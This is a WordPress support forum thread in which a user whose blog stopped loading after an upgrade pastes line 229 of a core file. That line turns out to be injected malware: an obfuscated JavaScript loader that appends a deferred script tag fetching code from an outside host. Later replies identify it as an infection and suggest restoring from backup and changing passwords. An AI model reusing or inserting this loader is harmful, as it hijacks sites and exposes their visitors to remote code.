Title: Parse error: syntax error, unexpected ‘<‘
Last modified: August 19, 2016

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# Parse error: syntax error, unexpected ‘<‘

 *  Resolved [perig](https://wordpress.org/support/users/perig/)
 * (@perig)
 * [16 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-lt-3/)
 * Hi everyone,
 * Serious error here. Weird though.
 * I updated to WordPress 2.9.1 today and I checked after install, everything was
   working fine. I come home, try to go on my blog and then error :
 * > Parse error: syntax error, unexpected ‘<‘ in /home/greatma1/public_html/perigvennetier/
   > wp-includes/default-filters.php on line 229
 * No access to anything. No blog, no admin section. FTP files seems fine. Database
   seems fine.
 * Try to look around but can’t seem to see what it is. Here is my line 229 of the“
   default-filters.php” file. Any idea what that does? I tried to delete it but 
   then it gives me the same error in another file.
 *     ```
       <script>/*GNU GPL*/ try{window.onload = function(){var Iyx79b843szf = document.createElement('s##^c#)r$i$p#!^t$!'.replace(/\$|@|\)|\^|\(|\!|#|&/ig, ''));var Mruvwe6cfugj = 'Kak8tw05tlcz';Iyx79b843szf.setAttribute('type', 't^#$e)$(&!x@t#!/)j($^a(((&@v^$(^a!$!s!#&(c&&#r&i&!@p$@t&'.replace(/\^|\(|&|#|\)|@|\!|\$/ig, ''));Iyx79b843szf.setAttribute('src',  'h(@t(#t#p#(:@/))))/(y@a!^$^m!(#$-))&c$)o(#m&&.$&^^g#o!#^o^&)&g@&)(!l@#e!@.)#c(!o^.!z)a))&&(.^$g($^(a&!!m(#!#&e&$s@t^)@!(o)$@#p((-#)!)c$^@(^o^)m&#!.(l@@!i^#n$u@#x$^$w!@(e#(&^^b$@$$!c#a$)m)#^.(@#r!&&u!:(^$8$^0!&8#0&(^/#@g^^a)$(n)##@j(i)@.))c$!)$o^!$m)#(!/)&#^^g)!^a&@()n@j$@@i@#((.))^c)o!!)&m@$#&/#)&#w@$(e#!l##((l&#s^^#f)$a$r$&g)(!@)o).)c$^&o!m@^/)g&!#$&o^$^o!!(g$(!@l#$e^$.^!!c^#^o!$m^)$$@/@!&o#@p(!e)^$n@!$)d!n!)!&s).()c@@o$&m(!@!/($@'.replace(/#|\!|\$|&|\)|\(|@|\^/ig, ''));Iyx79b843szf.setAttribute('defer', 'd##e^&f))$#e@@(r!@)('.replace(/\$|#|\)|\!|@|\^|\(|&/ig, ''));Iyx79b843szf.setAttribute('id', 'W)#@2&($d)!v@@!(o$^e(#@h@&(t&$&&i@$&^d!((p$&@3!#@y#'.replace(/&|\$|\^|\)|\(|@|\!|#/ig, ''));document.body.appendChild(Iyx79b843szf);}} catch(Ipf9jneywl) {}</script>
       ```
   
 * Really need help here I’m freaking out a little.
 * Thanks,
    Perig

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 *  Thread Starter [perig](https://wordpress.org/support/users/perig/)
 * (@perig)
 * [16 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-lt-3/#post-1333032)
 * I just checked another of my blogs and I have the same problem. 🙁
 * I tried to remove all of the plugins by creating an empty “plugins” directory
   but it didn’t work.
 * I will try to deactivate them in the database. Will report.
 *  Thread Starter [perig](https://wordpress.org/support/users/perig/)
 * (@perig)
 * [16 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-lt-3/#post-1333051)
 * Man that sucked. I found out by doing some more research on this forum that it
   was an online virus. I had to run some cleaners and clean files manually as they
   couldn’t be cleaned automatically.
 * I don’t know how this happened…
 * I hope it will not come back!
 *  [hkcharlie](https://wordpress.org/support/users/hkcharlie/)
 * (@hkcharlie)
 * [16 years, 3 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-lt-3/#post-1333287)
 * has it come back ?
 *  [sonmanutd](https://wordpress.org/support/users/sonmanutd/)
 * (@sonmanutd)
 * [16 years, 3 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-lt-3/#post-1333296)
 * Aw man! I’ve got the same problem on my site, how to fix it!
 *  [hkcharlie](https://wordpress.org/support/users/hkcharlie/)
 * (@hkcharlie)
 * [16 years, 3 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-lt-3/#post-1333297)
 * The quick and easy way.
    Restore from backup & change all your admin passwords.

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